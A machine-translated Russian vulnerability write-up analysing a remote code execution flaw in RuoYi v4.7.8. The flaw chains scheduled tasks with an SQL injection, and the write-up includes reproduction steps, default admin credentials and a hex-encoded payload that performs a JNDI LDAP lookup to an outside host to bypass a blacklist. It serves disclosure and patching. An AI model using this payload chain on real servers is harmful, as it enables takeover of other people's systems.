Подпишитесь на нас ❤️, добавьте звездочку 🌟 и учитесь безопасности вместе! Автор: 0Fs47@Timeline Sec Количество слов в этой статье: 1392. Время чтения: 2~4 минуты. Заявление: Это только для ознакомления, пожалуйста, не используйте его в незаконных целях, в противном случае вы будете нести ответственность за последствия.
RuoYi — это система управления серверной частью, основанная на сочетании классических технологий (Spring Boot, Apache Shiro, MyBatis, Thymeleaf). Ее основная цель — позволить разработчикам сосредоточиться на бизнесе и снизить технические сложности, тем самым экономя трудозатраты, сокращая циклы проектов. и улучшение качества безопасности программного обеспечения.
RuoYi v4.7.8 Внутренняя система управления RuoYi вызывает genTableServiceImpl через запланированные задачи для непосредственного выполнения sql для изменения содержимого запланированных задач, тем самым обходя ограничения черных и белых списков и достигая RCE.
RuoYi v4.7.8
Адрес официального сайта: http://ruoyi.vip.
Адрес документа: https://doc.ruoyi.vip/ruoyi/document/hjbs.html.
Создание базы данных ry и скрипты импорта данных ry_2021xxxx.sql, кварц.sql
Idea загружает проект, находит ruoyi-admin\src\main\resources\application-druid.yml и изменяет конфигурацию базы данных.
Затем запустите com.ruoyi.RuoYiApplication.java. Если появится следующая картинка, значит запуск прошел успешно.
Настройте локальную среду и посетите http://localhost/login.
admin/amdin123 входит в фоновый режим и сначала создает задачу с идентификатором 100:
Создайте еще одну задачу следующего содержания:
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;')
Шестнадцатеричное число в операторе SQL — это код, который мы хотим выполнить:
javax.naming.InitialContext.lookup('ldap://xxxxx')
Создание задач 101
Вы можете видеть, что задача 100 обновлена кодом, который необходимо выполнить.
Эхо успешно получено
Из этапов воспроизведения видно, что RCE вызван запланированными задачами и внедрением SQL.
Анализ задач по времени
Добавьте запланированные задачи:
Перейдя к методу com/ruoyi/quartz/controller/SysJobController#addSave, вы можете увидеть, что перед добавлением запланированной задачи строка заносится в черный список и вносится в черный список.
Когда вышеуказанные условия выполнены, выполните com/ruoyi/quartz/service/impl/SysJobServiceImpl#insertJob, чтобы сначала записать запланированное задание в базу данных.
Затем создайте запланированную задачу
Далее идет логика выполнения запланированной задачи, введите com/ruoyi/quartz/util/AbstractQuartzJob#execute
Продолжайте следовать и введите метод вызова Метод.
getInvokeTarget: вызвать целевую строку и получить поле ignore_target в базе данных.
getBeanName: Получить имя beanName
getMethodName: получить имя метода.
getMethodParams: Получить имя параметра
Затем определите, является ли это полным именем класса. Если нет, получите его из контейнера Spring.
Продолжайте следить за методом ignoreMethod и используйте отражение для выполнения метода.
Из вышеизложенного можно проанализировать следующие результаты:
Анализ SQL-инъекций
существует до версии ruoyi 4.7.5,Внутренний интерфейс/tool/gen/createTable
сохранять вездесуществовать sql Внедрение (CVE-2022-4566)
Класс реализации genTableService — GenTableServiceImpl.
Соответствующее заявление Mapper
<update id="createTable">
${sql}
</update>
Результаты запуска:
RCE-анализ
Согласно вышеизложенному, запланированные задачи ruoyi могут вызывать bean-компоненты или классы, а внедрение SQL зависит от GenTableServiceImpl#createTable. Если GenTableServiceImpl является объектом bean-компонента, вы можете напрямую вызвать GenTableServiceImpl#createTable для выполнения операторов SQL.
существуетPrint всего загруженного боба, включающего в себя genTableServiceImpl в классе запуска
ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
// Получить имя всех бобов
String[] beanDefinitionNames = run.getBeanDefinitionNames();
// Распечатайте имена всех бобов
for (String beanDefinitionName : beanDefinitionNames) {
System.out.println(beanDefinitionName);
}
Итак, вы можете позвонить genTableServiceImpl.createTable выполнить sql оператор выполняется, поэтому RCE Идея: Сотрудничество с инъекциями существует. sys_job Вставляйте вредоносные запланированные задачи непосредственно в таблицу данных, не вызывая addSave Метод для добавления содержимого запланированных задач и успешного обхода ограничений черного и белого списков.
деталь:
существоватьдобавить в SQL Для запланированных задач вы можете пройти 16 Базовое преобразование обходит обнаружение черного списка
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f797670307a662e646e736c6f672e636e2729 WHERE job_id = 100;')
Метод genTableServiceImpl.createTable успешно вызван.
Изменено успешно
Выполнить код
Обновите до последней версии.
https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC
https://xz.aliyun.com/t/11336
https://blog.takake.com/posts/7219/